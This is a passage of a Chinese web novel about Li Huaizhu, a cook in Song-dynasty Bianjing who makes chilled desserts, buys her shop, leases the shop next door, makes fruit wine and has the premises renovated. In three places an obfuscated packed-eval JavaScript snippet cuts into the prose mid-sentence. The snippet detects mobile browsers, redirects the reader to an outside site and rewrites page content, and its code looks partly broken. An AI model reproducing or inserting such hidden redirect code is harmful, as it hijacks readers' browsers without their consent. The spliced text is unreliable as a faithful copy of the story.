谢卿点头，看着谢慈又忽地想起一事，歉道：“瞧我这记性，连日被部里琐事缠昏了头。你前次同我说的那几条细策，我原想着寻个机会与王侍郎说，竟给忙忘了。明日，明日我便去说。” 谢慈抬眸，道：“却不用劳烦兄长了，前几日……” 正说着，院门外传来小厮通报声。 “郎君，户部王侍郎过府来访，已请至前厅了。” 谢卿一怔，与谢慈对视一眼，皆有些意外。 王侍郎是他顶头上司，素日公务往来虽多，但私下这般时辰过府却是少有，于是立刻起身，对谢慈道：“许是部里有急务，我去迎一下。你……” 话音未落，前厅方向已传来王侍郎爽朗笑语：“元熹不必多礼，是老夫从伯府回来，正听闻兰时归府，恰巧路过，便厚颜进来讨杯水酒，沾沾你们兄弟团聚的喜气！” 只见一位面庞清癯的老者在管家引下，已含笑进了院子，正是户部右侍郎王载道。 谢卿连忙上前见礼：“不知侍郎驾临，有失远迎，还请上座。” “叨扰了，”王侍郎瞧见起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982233|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身行礼的谢慈，眼中赞赏之色毫不掩饰，“兰时果然在此，好啊！” 三人重新于石桌旁落座，又命人添了杯盏碗筷，迅备几样果碟上来。 王侍郎也不客套，执起谢卿为他斟满的酒杯，笑道：“今日冒昧前来，实是心中有喜，按捺不住。兰时，你前几日呈给泰安伯的那篇《河阳灾后疏议》，老夫与工部几位同僚研读后，已联名呈递上去了。” 谢卿闻言，面露讶色看向弟弟。 谢慈则神色平静，微微欠身又一礼：“学生拙见，恐有疏漏，能入诸位大人之眼，已是侥幸。” “何止是入眼！”王侍郎颇为振奋，“文中‘以工代赈，分籍编管’之策尤为精到。更难得是‘工坊集产，官民平销’、‘以地养流，渐复民生’……非仅解一时之困，更为长久之计。陛下近日正忧心此事，此策来得正是时候！兰时啊，你此番虽未入朝，却已先为朝廷解了一忧。” 谢卿这才知晓弟弟不声不响竟做了篇文章，一时间颇为感慨，忙道：“侍郎过誉了，他还年轻，不过是些书生之见……” “元熹不必过谦。”见了如此有心的后辈，王侍郎满是激赏，“年轻才难得。这策论格局开阔，脚踏实地，绝非闭门造车所能及。老夫在户部多年所见条陈无数——泰安伯果然有识人之明。” 话音落下，谢慈亦微挑唇角，再次举杯道：“侍郎谬赞，学生实不敢当。其中诸多是市井所得，乃至拾人牙慧罢了。” 王侍郎只当他是谦辞，哈哈一笑也不深究……那，正事儿说完了，也打些秋风吧？ “这莫非是榆林巷‘李记’的鸡鸭？”王侍郎瞧着桌上好酒菜问道。 谢卿笑道：“侍郎好眼力，正是。内子与家中小儿近日苦夏，便常买些回来。” “难怪！”王侍郎笑容更盛，“说起来，家严家慈如今也是李记的常客。老人家胃口弱，偏就爱她家软糯糕团，菹菜也清爽。前几日提了只叫花鸡回去，二老说起还觉意犹未尽呢。” 一对鸡鸭，引起了王侍郎的谈兴。 “说起鸡鸭，老夫当年随驾北巡，在真定府吃过一道‘炉焙鸡’，肉酥骨烂，在江南任职时，又吃过当地的‘爊鸭’，至于宫中赏赐的‘缕金龙凤炙’之类，倒是华丽夺目，样子好看得紧。②” 谢卿道：“侍郎见识广博。只是下官家中清简，只记得幼时随父亲在任上，母亲也曾用乡法做鸡鸭，一只鸭往往要分两三日吃……” 他说到此，又酌了杯酒水。 幼时谢家兄弟的父亲只是四品地方官，任上便逝了，家里米粮一断，母亲只得靠着织布卖布供他们二人读书，积劳成疾，后来也去得早，是伯父伯娘接他们过去又养育了几年，表兄妹前程都不错，谢卿高中被授了官衔，家里日子才慢慢好起来。 王侍郎闻言，也敛了笑轻轻一叹：“慈母手中线啊……如此说来，今日这桌寻常鸡鸭，倒有至味。”又举杯向谢慈道：“兰时，你既有济世之才，又懂民生多艰，来日必成大器。明岁春闱老夫静候佳音。” 谢慈持杯欠身，“学生谨记侍郎勉励，必不敢忘本。” 王侍郎又闲话几句，见夜色已深，家中老母遣人来催餐饭，便起身告辞。 这个年纪还有母亲来催餐饭，实是福气啊……谢卿兄弟二人恭敬送至府门，看着他乘轿离去。 回到院中，只剩兄弟二人，月色清凉间竹影婆娑，暑气散了许多。 石桌上的杯盘尚未撤去，谢卿负手立在弟弟身侧，借着月光仔细端详他。 “兰时，”谢卿温声道：“今日王侍郎一席话，为兄心中甚慰……父亲母亲若在天有灵，见你如此，不知该有多高兴。” 提及父母，谢慈眉目也和软下来，轻声道：“母亲忌日将至，李记鸡鸭滋味甚正，供奉时用上，母亲或许也会喜欢……” “是该如此。”谢卿闻言点头，吩咐侍立在一旁的小厮，“记下了，祭日前两日去李记订好，届时供奉。” 小厮赶忙应下，心里却暗暗叫道，又要订！果真不管账不知柴米油盐贵……郎君一个月的俸禄才多少，这一夏因着苦夏，李记的糕团熟食不知买了多少回，账上银子都流水般跑去了那小铺面啊…… 可惜银钱这东西本就似活水潺潺，自然要从东家流到西家。 小厮暗自腹诽的时候，隔着几条长街，榆林巷中的李怀珠正拿着人生第一张房契，在店里转着圈儿打量。 28. 第 28 章 古人有诗云：“日常睡起无情思，闲看儿童捉柳花。①”这诗写的是初夏慵懒，可到了盛暑时分，便是再风雅，捉柳折花的兴头也懒怠了，只剩得一身粘汗，满心燥渴。 李怀珠忍不了热，反正闲着也是闲着，还不如做点甜水分散点注意力。 于是便想起大学时校门外小吃街，每到这时节，最盼的就是八块一碗，冰甜料多的清补凉——乳白的椰奶打底，汤面浮动着红豆、绿豆、薏米、芋圆、西瓜、枣干……一口下去，冰爽清甜，暑气全消。 李怀珠晌午出门买了几个瓜果并两包果脯枣干。 一进门便觉得闷得很，团娘和恒奴一个在柜台后大蒲扇扇风，一个在后院井边舀水洗脸冲凉，见她回来，都如同见了救星。 “娘子可回来了，这鬼天气！”团娘脸都热红了。 “咱们也弄点凉快的吃吃。”李怀珠眉眼弯弯，“团娘，去把井里镇着的牛乳取一盏来——可仔细些，就那一盏了。” 宋代牛乳金贵，寻常人家难得一用，她这也是托了甜水铺娘子的门路才得了些，平日舍不得，今日却想奢侈一回，便足以慰藉肠胃，傲视市间寻常的“甘草冰雪凉水”了。 恒奴已擦干面庞过来，“娘子想弄什么吃食，还是饮子？” “解暑的甜水，也叫‘清补凉’。” 李怀珠一边说，一边将枣干、杏脯用温水泡上，又让恒奴去擦几碗冰沙来，翻出些自家常用的薏米、芡实，想了想，时人尚无“西米”能用，便又剥了些新鲜莲子，洗净去了籽心，又将薏米、芡实上锅炖煮，另起一灶烧上水焯莲子。 这时食材有限，新鲜椰肉是绝难有的，好在牛乳加些椰浆也很香浓，没有芋圆仙草，便用煮得软糯的豆类和果脯弥补口感，所谓“清补”，大抵是清热补益的意思，倒也很贴暑热。 回到小院，井水湃过的瓜触手生凉，瓜瓤切丁，莲子、绿豆绵软起沙，葡萄干、枣干与核桃碎皆是现成的，再倾一盏子牛乳，与椰浆和蔗浆调匀，徐徐浇下—— 乳白的浆子顺着冰沙渗下去，各色的料渐渐没了，只隐隐地透出些颜色来，红淡绿浓，黄黄白白的，很是冰甜清雅的样子。 三碗沏上各自分了，团娘爱吃甜，选了枣干和甜瓜多的，恒奴要了冰底最厚的，李怀珠混不吝，顺手拿了自己跟前最近的白瓷碗。 捧起垫了冰的粗陶缸子，先啜一口乳白汁子，嗯！是很有前世风姿的乳汤！再舀一勺料，沙糯的豆莲，瓜丁也脆甜，暑气都随着这一口滑入腹中，消了个干净。 团娘啜了一口便夸，“呀！好香甜，又滑润！比砂糖冰雪也不差！” 恒奴到底比团娘大几岁，舀了几勺放入口中“咔嚓咔嚓”嚼了，评价的颇为矜持，“牛乳和椰浆用得好，若再少两分甜或许更佳。” 从来点奶茶都点正常糖的李怀珠眯起眼，毫不在意其建议，舒服得晃了晃脚尖——古人所谓“冰碗”③，大约也不过如此罢？只可惜苏学士谪居岭南时叹“日啖荔枝三百颗”②，若他能尝到这碗融合南北的清补凉，不知会不会也赋诗一首？ 正惬意着，门外传来招呼声，却是她的房东——冯家夫妇来了。 原来冯家儿子今年开蒙，夫妻俩琢磨着南边文风盛，想举家南迁，好让孩子能上个好些的学堂，昨天专门找了过来，一是问问李怀珠这租约后续如何打算，若她想继续租自然好，二来，也是透个风，若她不想长租，他们便打算将铺子卖了，凑些南下的盘缠和安家费。 这不是计划赶不上变化，之前想要租铺子的时候，这相公还因为不让动窑拒了好几家租户，可现在却要忍痛要卖了……那句话怎么说的，都是为了孩子啊！ 李怀珠哪能放过这个机会，当下就动了要买铺子的心思。 别说凭着人家的窑赚到了从前赚不到的钱，租了这些时日也都熟了，若能买下来也算有了根基，往后想怎么收拾也都由得自己，多自由啊。 瞧李怀珠思量，冯家夫妇额上都出了汗，李怀珠笑盈盈起身道：“天热难耐，正巧做了些消暑的甜水，阿叔阿婶若不嫌弃，也尝一碗，坐下说话。” 说着便让团娘又端来两碗清补凉。 这大热天，冯家娘子也不推辞便接了碗，讶道：“这碗都冰镇过？” 李怀珠莞尔一笑，点头道，“早晨才得了冰，没有地窖存不住，不用倒浪费。” 待冯娘子再尝一口，脸色都变好许多，冯家郎君本有些燥，几勺冰甜下肚，神色也松快下来。 一碗甜水见底，话才好说。 李怀珠这才道：“只是不知，阿叔阿婶想作价几何？” 冯家夫妇对视一眼。 冯家郎君诚恳道：“不欺瞒娘子，我们这些日子也打听过。榆林巷这地虽不很繁华，却也是好市口，前店野规整，后头带院带井，住家做生意都便宜。按牙人的说法，这样的铺面，市价总在三百二三十贯上下。” “咱们想着急用，也知娘子生意稳当，便想作价三百五十贯。虽是略高些，但屋瓦家具什么的咱家不拉走，都算在里面了。” 三百五十贯，这价钱确实比空屋市价高，但冯家说的也是实情，这铺子她经营数月，前店后院都合用，更重要的是那口能镇凉饮子的好井，好窑炉，长远看并不是亏本买卖。 只是她手头现钱不过二百五六十贯……实在凑不上这许多。 见她不语，冯家娘子以为她嫌贵，忙道：“娘子是爽快人，我们也知道这价码不低。只是南边安家，孩儿进学，处处都要使钱……若娘子实在为难……” “价钱是公道的。”李怀珠抬起眼，实话实讲，“不瞒阿叔阿婶，这铺子我确实想留下。只是我手头现钱一时凑不齐三百五十贯之数，约莫只能先凑出一半。” 冯家郎君一听有门，反而想了想，道：“娘子的人品和营生本事，咱们是信得过的。若娘子诚心要，这般可好——你先付一半，咱们便去过户房契，剩下一半立个字据，约定今年年关前付清。不瞒你说，我家在城外还有处小庄子，年关前后也要处置，到时正好回来一趟，顺道取钱。你看如何？” 这已是极宽厚的信任和让步了。先过房契，意味着这铺子已是李怀珠的，她却只用先付一半钱——且还没有利息！ 李怀珠心下感动，起身道：“阿叔阿婶这般体谅，儿自是感激不尽，二位放心，欠款必在年关前备齐，绝无拖延。” 冯家娘子拉住她的手，笑道：“我们虽搬得远，却也听得到名声。李记如今在这一片也是响当当的，我们有什么不信的？日后这铺子在娘子手里兴旺，我们脸上有光，听着也高兴！” 双方既说定，气氛更见融洽，李怀珠让团娘去取钱匣，并准备笔墨立契。 这边冯家夫妇才安心端起碗，细细品尝方才没顾上多夸的清补凉。 冯家娘子舀起一勺混着豆瓜与枣干的冰乳，入口细细品了，叹道：“爽口又冰甜，难怪娘子生意好，暑天里吃一碗，真是神仙享受。” 冯家郎君跟着点头：“确实比寻常凉水有滋味，也养人。” 正说着，团娘已捧了钱匣和秤过来。 李怀珠当面将一百七十五贯钱清点明白，又请了保人作证，写下买卖契约并欠款字据，双方按了手印，冯家郎君便将收好的房契取出，交给了李怀珠。 送走冯家两口，李怀珠再看铺面，便有了和从前不一样的计较。 十几来平的铺面，如今被糕团盒子、鸡鸭泥胚堆得满满当当，三张矮几拼成的“守夜床”白天拆了晚上拼，墙角堆着盆钵箩筐，团娘和恒奴常在过道侧身交错，俩青瓜一忙起来什么都顾不得，常是一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16990419|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怒目圆睁，一个龇牙咧嘴，整日下来斗嘴斗个不停。 若是能扩一扩就好了。 她想着前世看过的那些改造节目，两家人挤三十平都能过得互不打扰，自己这好歹独门独院，再放两张桌子应该也不算妄想吧…… 正琢磨着，门帘一响，隔壁银器店的王娘子提着食盒来了。 “李娘子，我来拿昨儿订的糕团。”王娘子说着，忍不住往李怀珠店里瞟，虽是有些拥挤，可生意却红火啊，再想想自己那冷清得能跑马的银器铺，嘴角的笑就有点挂不住，“还是你这儿生意红火，不像我那儿……” 话匣子一开就收不住。 王娘子原是自立门户做些银饰，她相公在西市有间更大的珠宝铺，谁知前些日子遭了贼，损失惨重，报了官，衙役来看过，说那贼头手法老道，估量着很是难抓，自此她夫君草木皆兵，嫌这巷子偏僻，铺面也小，催她关张去西市帮忙，王娘子想退租，房主人那边却推说契约未满，不肯松口。 为着这些事儿，王娘子愁眉不展许多日。 “真不知如何是好了。” 李怀珠听着，又觉得这是个机会。 都是街坊，她平日路过隔壁也瞧过几次，王娘子家的银器铺跟自家“蜗居”比，可宽敞太多了，前厅轩敞，门口左右抵着墙边，支摘窗开得大，后头院子听说也比自家这边宽敞许多，若能一并租下来，别说堆放米粮，再起个小库房都绰绰有余…… 再说了……也不好叫恒奴一直睡拼接床啊。 “王娘子若真不想做了，您家的铺子，不知房东肯不肯转租？” 王娘子回了神儿：“娘子当真想租？那敢情好啊，我明日就去递话！” 事情比想的顺利，王娘子翌日晌午便来回信，说房主人答应见面细谈，约在三日后。 到了日子，李怀珠交代俩青瓜看店，尤其让恒奴盯着砖瓦匠修补檐角，自己换了身清爽衣裳，跟着王娘子往保康门去。 到了处没挂牌匾的宅邸，侧门进去到了偏厅，只一位老管家候着，说大娘子今日不得空，由他全权处理。 李怀珠也不怯场，将自己的诉求说得清楚明白——若能赁下铺子，是想将两间铺子中间的隔墙打通，连成一片，拓宽店面，租期内所有改动和修缮，费用都由她自己承担，若将来不租了，也保证恢复原样。 老管家静静听着，末了，抬眼看她：“娘子可是榆林巷李记的店主人？” 李怀珠点头：“正是。” 老管家脸上忽然露出些笑意，点了点头：“原来是您。那这事……老奴需禀过大娘子才能定夺。娘子稍候。” 说罢，老管家便转身出了偏厅。 王娘子在一旁低声解释：“这便是他们家管事，姓单，最是稳妥不过。” 这家人似乎认得自己，李怀珠心下好奇，“娘子可知这铺子的主人是谁？” “呦，我没同你说罢——”王娘子道，“这宅子原本是泰安伯家大娘子的私产，伯娘子最是仁善，只是不大管这些庶务，都交给管事的。” 李怀珠心下一喜，原来是老伯爷家的女眷，怪不得…… 正说着，单管家已回转，脸上笑意浓了些：“大娘子听了，说既是李娘子想租，又是为了正经经营，没有不应的道理。只嘱咐两点：一是动工不得损伤房屋梁木，二是将来若退租，须得恢复原状。娘子可能应承？” 这还有什么不能应的？本就该如此。 李怀珠起身，微微福礼：“多谢大娘子成全，儿定当谨记，不敢有违。” 王娘子心头一块大石落地，拉着李怀珠的手道谢，说自己回头便收拾细软，搬去西市了，李怀珠也觉得很好，隔壁铺面的租金十二贯一月，好在还有些本钱，很能行事。 两人各得其所，双赢收场。 29. 第 29 章 铺子谈了七七八八，李怀珠便开始跟人打听汴京城里哪家匠人手艺好。 问了一圈众说纷纭，李怀珠掂量了一下自己的积蓄，觉得此时还是实用为主，最后听了柴炭老板给她的建议，去寻了‘城南宋记作头’的宋大郎。 宋家三代都是泥瓦木匠，在汴京城里口碑不错，不少酒楼食肆翻新都找他，据说人品实在，好说话，工期也抓得紧。 宋家的铺子不大，宋大郎是个三十出头的汉子，人高马大，飞眉入鬓，长了副颇为雄壮的样子。 寒暄两句，李怀珠便将这几天画的草图和想法说了。 宋大郎听得十分认真，说可以先去实地看看。 到了店里，宋大郎里外看了半个时辰，又爬上梯子瞧了梁椽，敲了墙壁，趴地上看了砖缝。 宋大郎道：“娘子这想法可行。两间铺面结构相似，架好过梁后拆除下方没问题。后院打通更简单。只是这工连拆带建、重整门窗……估摸着得忙活上小半个月。娘子生意怕是要歇些时日了。” 听这话着实是个厚道负责的郎君，李怀珠却觉得休息段时间也好，俗话说不破不立，反正买房的钱都花了，隔壁租金也付了，装修和歇业这点“小钱”……咳，该折腾就折腾吧！ “那——咱们这就定下？”李怀珠眉眼弯弯。 宋大郎见她爽快，也憨然笑了：“既然娘子信得过，某必尽力。今日便列个单子，明日带徒弟过来再细定章程。” 李怀珠得了准信，想着这段歇业时间该怎么用起来——铺子不能开张，后院却还闲着，时值盛夏，瓜果不仅丰盈，价格也贱，若是做些果酒果酱存着，待铺子重开时，也能一齐上些酒饮。 李怀珠是个散漫性子，第二日睡到自然醒，用了顿颇丰盛的早食，才带团娘和恒奴去逛州桥果子行。 盛夏刚过的果子行自然香气四溢，各色鲜果买卖都方便…… 但酿酒总得先有个酒基。 大宋的酒课制度李怀珠是知道的，私酿犯法，但买官酒回来再加工却是许可的，《宋会要》里便提过，“许人买扑”官酒务的酒，百姓可购之自饮或再酤卖——当然，税是不能少的。 于是仨人先拐去东水门附近的都酒务交了钱钞税款，买了五斗冬酿大酒——这酒清冽，经过整个冬季和春季的陈化，又醇厚，正适合做基酒浸泡花果①。 买好酒，让恒奴搬上雇来的驴车回店去卸下，她和团娘又折返果子行。 酿酒的花果得挑应季且香气足的。 先拣了五斤杨梅，祛暑生津最是爽口，李怀珠眼尖，挑的杨梅颗颗都有铜钱那么大，又见这老丈还卖荔枝，虽是快马运来的果子价格不菲，但见壳红肉白，晶莹如冰雪，也并秤了几斤——荔枝酒甜美馥郁，前朝白乐天不就写过“荔枝新熟鸡冠色，烧酒初开琥珀香”么？②虽说他那是蒸馏酒，但浸渍荔果出来的风味想必也不差。 杏子正当时，桑葚也便宜，索性包圆买了一竹篮，最后又称了一斤半鲜茉莉，挑了几束粉荷，临走瞥见有卖金银花的阿婆，药食同源的书册李怀珠在宫中背过诸多，知这花儿清热解毒，泡成酒饮应当颇受欢迎，便也包了一包。 回到店里，宋大郎已带着几个徒弟开始做拆墙前的准备。 李怀珠便让恒奴先将花果搬到西厢房，自己去取了几个水槽酒坛来——这种坛子盖沿有一圈凹槽，注水后盖上盖子，能有效隔绝空气，防止酒酸，宋人称之为“水封坛”。 工具倒简单，自家原有的尽够用，只额外需要些冰糖，李怀珠选的是建宁糖霜，虽然贵些但胜在质量好，没有什么杂质杂色。 一切齐备，下午铺子打了烊，几个人便在后院井台边忙活开来。 酿酒先要处理花果，杨梅得用淡盐水浸泡，李怀珠把果子淘洗后摊在竹筛上沥干，桑葚不能搓破皮，荔枝要剥壳，要去核，杏子洗净后拿小刀剖开挖核，这份工交给了团娘。 处理好的花果铺在竹编里晾干水分，晌午时，李怀珠让恒奴将几个瓷坛沸水烫过，倒扣晾干，花果表面干透了开始泡酒。 果酒花酒做法大概相同，一层花果一层糖铺在酒坛里，最后倒入酒液完全浸泡，只是金银花酒复杂些，需将金银花用少许清水加糖熬煮片刻，滤出花汁放凉，再将花朵花汁与糖、酒按比例入坛，这样酒中既有花朵清香，又有糖的甘润，不必再经漫长浸泡，旬日便可饮用。 忙完这些，花果用去了大半，可还剩不少。 尤其是桑葚、杨梅和杏子各有一小堆，自家吃不完，这个时节也存不住，李怀珠便想着不如做成果酱。 只是这念头一起，便有些肉痛——时下糖贵，可做果酱耗糖量惊人，与果肉等重甚至更多，才能熬出浓稠膏体且不易腐坏。 但……也做罢！ 做出来不卖，只留着自己吃，或是送人也很体面。 三锅果酱熬完，糖罐子也快见了底，团娘眼巴巴对着跟前的几小罐果酱颇有成就感。 桑葚酱、杨梅酱、这些酱里李怀珠觉得杏子酱最是甜美，杏肉柔软，果肉与糖同熬后是金黄色的蜜膏，其间有些橙红果肉，香气怡人，摆着也好看。 果酱的吃法颇多，最简单的，莫过于晨起用冷泡茶冲开，便是一盏酸甜可口的花果饮子。 盛夏刚过，晌午对着饭食没有胃口，便也用这几罐果酱佐餐，炊饼或蒸糕刚出锅，趁热抹上一层杏子酱，果肉搭配面点十分合口，若是吃酥山，浇一勺杨梅酱或桑葚酱，红紫的酱汁流淌在雪白的酥山上，也很酸甜解腻。 前头拆砌的活李怀珠和团娘帮不上忙，俩人一合计，想起了在杂市上淘换来点茶家伙事，一个素漆建盏，一把竹制茶筅、茶罗和茶匙，东西并不名贵，但看着十分趁手，当时便想着闲来可以玩玩，此刻却是正好——最好的是还可用茉莉花酱点茶！ 在茶筅击拂出的沫饽上点上茉莉花酱，茶盏中，洁白茶沫中绽开一点鹅黄，茶与花香气交融，清爽漂亮——这法子还是她从宋人笔记里看来的吃法，今日一玩果然很有意趣儿…… 俩人玩够了，便出来看看有没有能帮上忙的事情。 前店里，宋大郎用长杆在墙两侧搭起了支撑，说是叫“托梁”，以防拆墙时上头屋顶塌下来，再用錾锤划出拆除的范围，从下往上将青砖敲松，再用手接住码放整齐。 “这些旧砖还能用，”瞧着这事做起来烦琐，宋大郎对李怀珠解释，“有些破损的，敲下来的灰土，混上新石灰、麻刀，又能重新和成泥浆砌墙，不浪费。” 到底是老师傅，懂得物尽其用。 李怀珠连连点头，小鸡啄米一般吸收新知识，很不吝惜自己的感谢，出门提了几只瓜来。 小时候李怀珠在老家，跟着大人买瓜时，瓜摊上多写“三白”字样，大约是白皮、白瓤、白籽的意思，这种瓜后来似乎少见了，爱吃的都是大人，喜爱其甜得清淡，而像李怀珠这样的小屁孩儿，混不吝爱吃糖的，还是更喜欢红瓤瓜。 挑西瓜也是门学问。 有经验的，屈起中指在瓜上轻轻一弹，“嘭嘭”声的，就是熟了；“噔噔”声，就是还生着；“噗噗”的，怕就是熟过了，一抔一洼水的那种。 李怀珠总学不会，便总装模作样拍两下，其实专拣瓜蒂青翠的买——带一段蔓，像是刚从藤上摘下来的，好不好吃的另说，起码新鲜。 最妙的就是夏天镇过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17001070|192112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的西瓜，恰好自家后院就有口老井，这不是正好？ 李怀珠把瓜装在网兜里，绳子系在辘轳上，缓缓送下去，浸上半个时辰提上来，刀尖刚挨着瓜皮，“咔”一声，自己就裂开了，凉气顺着冒出来。 切瓜宜用大刀，切成月牙块，拣中心的几块给做工的递过去，几人热得够呛，就着墙边阴凉吃起来，顾不得籽，稀里呼噜就往下咽，瓜汁顺着胳膊肘流也懒得擦…… 李怀珠和团娘站在旁边跟着散德行，手里拿着瓜呼噜。 团娘没怎么吃过这种瓜，上一次清补凉的瓜丁也是被处理好的，问自己吃到一颗生籽，软软的，和着瓜瓤一起吞下去了不打紧吧？ ——据说肚里能长出西瓜呢！李怀珠黑心眼的吓唬团娘。 小娘子便真信了，很是虔诚地摸着肚皮，疑心里面已经有瓜蔓在抽条儿。 忙活的灰头土脸的恒奴瞥了俩人一眼，又摇摇头，大概非常不耻东家如此促狭。 还不知被人编排的李怀珠还想着瓜皮也是好东西，把最外层绿皮削去，留着白玉似的内皮，切成细条，用盐略腌，再淋些香油醋，嚼起来咔嚓咔嚓的，比黄瓜脆，比萝卜甜，是暑天很好的一道小菜。 而空了的瓜壳，扣在孩子头上，便是一顶碧绿凉帽。 只是这两件事都没做成，前者是因为瓜皮不是是先切下来的，从人嘴里过一遭再收集起来做凉菜……实在让人有些堂皇。 后者，李怀珠看了眼碧油油的瓜皮……还是算了吧。 小时候这么玩叫童年无忌，长大了再这么玩就是行为艺术了。 前店打通这堵墙最费工夫，足用了三天，两间铺面中间一开，一时间有种豁然开朗的感觉，原本逼仄的空间一下子开阔了，实在是改的极好！ “娘子，您瞧这么着行不？”宋大郎指着地上用石灰粉画出的线，“这边打通了，整个前店能大不少，柜台可挪到正对门的位置，这边靠墙，可以打一排格架放糕团盒子，还有各式的瓶子罐子，娘子能分门别类归置，客人看着也清楚。” “这边，”他又指向另一侧墙面，“可以隔出两个雅间，用棂格或者屏风稍微遮挡，娘子觉得底下是用木板隔断好，还是砌半截砖墙，上头用花窗？” 李怀珠仔细想了想，木板轻便但隔音差，砖墙结实可又笨重。 “用木板吧，”食肆嘛，吵一些好像也不是什么过错，她最终决定，“选厚实些的杉木，上头不做全封，留一尺来高的空，嵌蝉纱或素绢，既透光，又有些朦胧雅致……嗯，就先这样。” 之后便在每个雅间里摆桌椅，墙上也好挂字画，外面瞧也好看。 这么一想，和她之前吃过的中式餐厅格局差不多。 宋大郎点头记下：“娘子有见识，这般布置是实用又风雅的。” 李怀珠莞尔一笑，受了这夸赞。 大体收拾了前面，后院就简单许多。 两院之间的隔墙非承重，拆起来快得多，不到一日，两个原本各自独立的小院便合二为一，院子地面原本是杂乱的青砖和泥土地，宋大郎建议全部重铺，用青砖铺十字，以后就没那么大的尘土了。 “西北角靠墙，砌两个规整的灶台，娘子那口窑炉就安置在那儿，离正房远，烟熏火燎也不怕。旁边砌上砖棚，堆放柴火、煤炭，遮风挡雨。” 宋大郎指点着，“东边日头好，可以移栽些花草，娘子不是有棵石榴树么？就种在那儿，再摆几盆应时的菊花、茉莉。东南角打一口新井不方便，但可以把旧井栏修结实，周围用石板砌个台子，洗衣洗菜也便宜。” 李怀珠随着他的描述望去，仿佛已经看到了花木扶疏的新院子…… 30. 第 30 章 李记招牌暂时摘了下来，取而代之的是从早忙到晚的斧凿锤锯之声。 前头铺面打通了墙，满地碎砖烂瓦还得一筐筐清出去，新做的隔断刚架好还等着扣钉，后院两个灶台砌了一半，青砖甬路铺到十字口，挖开的土堆得像小山……满眼都是事啊！ 李怀珠自然也没闲着。 她如今是“东家”兼“监工”，早起第一件事先张罗好匠人们的朝食——大钵的绿豆粥，一摞摞荷叶馍夹足了肉，几样清爽菹菜管够。 等匠人们吃罢上工，她便跟着一起拾掇。 团娘专管清理擦洗，恒奴帮着宋大郎打下手，李怀珠自己就提着桶各处洒扫，分拣那些还能用的旧砖。 东家不摆架子，还跟着一块儿吃苦，匠人们自然更要尽心。 只是基建的辛苦远超李怀珠预想。 从前只觉得开个铺子，无非是灶台、柜台、桌椅板凳，真动起手来才知道琐碎处无穷无尽，梁椽要不要加固？地面平整与否？排水沟渠通不通畅？一桩桩一件件都得操心。 只是比起李记的忙碌，巷东头韩家这几日才真叫引得左邻右舍看大戏。 这天恒奴和宋大郎一早就往南市挑木头去了，店里便只剩李怀珠和团娘两人。 晌午没人，铺子的锅灶也歇了，李怀珠赖得动手，便和团娘去外街打了两碗红丝馎饦回来。 时人的镈托实则便是面条，前朝叫索饼的东西，红丝博拓就是虾汤面，虾子捣成泥与面团柔和，又加入虾肉汁子，撒了芫荽并几粒炸香的黄豆，做这面条讲究将面条拉得极细却不断，入口滑韧，口感上更像河粉。 另买了一碟鱼鲊，选的是三四寸长的青鱼中段，用炒盐、花椒、莳萝并酒糟腌过，压得实实成成，肉质紧而微弹，咸中带鲜，隐隐有酒香与香料的辛香，夹一片佐馎饦，或是空口细嚼都很好吃，属于那种越嚼越有滋味的小菜。 俩人不紧不慢吃着晌午饭，隔着大半挑街，又听得那韩老娘在骂了—— “杀千刀的……你是被那狐媚子迷昏了头，还是给猪油蒙了心啊！有那样好的小姐不去见，在这忤逆十几年来含辛茹苦的老娘……我命苦啊！” 李怀珠夹了一口虾子，跟团娘对视一眼，皆摇了摇头。 话说韩家原也算得小康门户，韩老太公在世时做着南货生意，颇积攒了些家底，可惜老太公去得早，留下一妻一子，韩老娘是个能干的，接了丈夫的铺面后专营香药买卖，倒也支撑了门庭，将独子韩淞拉扯成人。 这韩淞郎君今年二十有二，生得眉清目秀，更难得读书上进，前年便中了秀才，韩家眼见有望改换门庭，韩老娘更是将全部指望都系在儿子身上。 韩松幼时，韩老太公曾与豆腐坊的乔老爹指腹为婚，乔家虽是小本经营，但两口子厚道勤快，养的闺女名唤巧姑，与韩松同岁，两人自幼相识，可谓青梅竹马，韩松中了秀才后，非但不曾嫌弃乔家门第，反而与巧姑情意愈笃，只待秋闱后便要完婚。 谁知月前，韩松赴诗会偶遇了一位官家小姐，乃是城南兵马司赵指挥家的幼女，行七，人称七姑娘，赵指挥虽是武职，却是正经的七品官身。 七姑娘那日隔帘看了诗会，不知怎的，竟对韩淞青眼有加。 事后，赵家隐隐透出结亲之意。 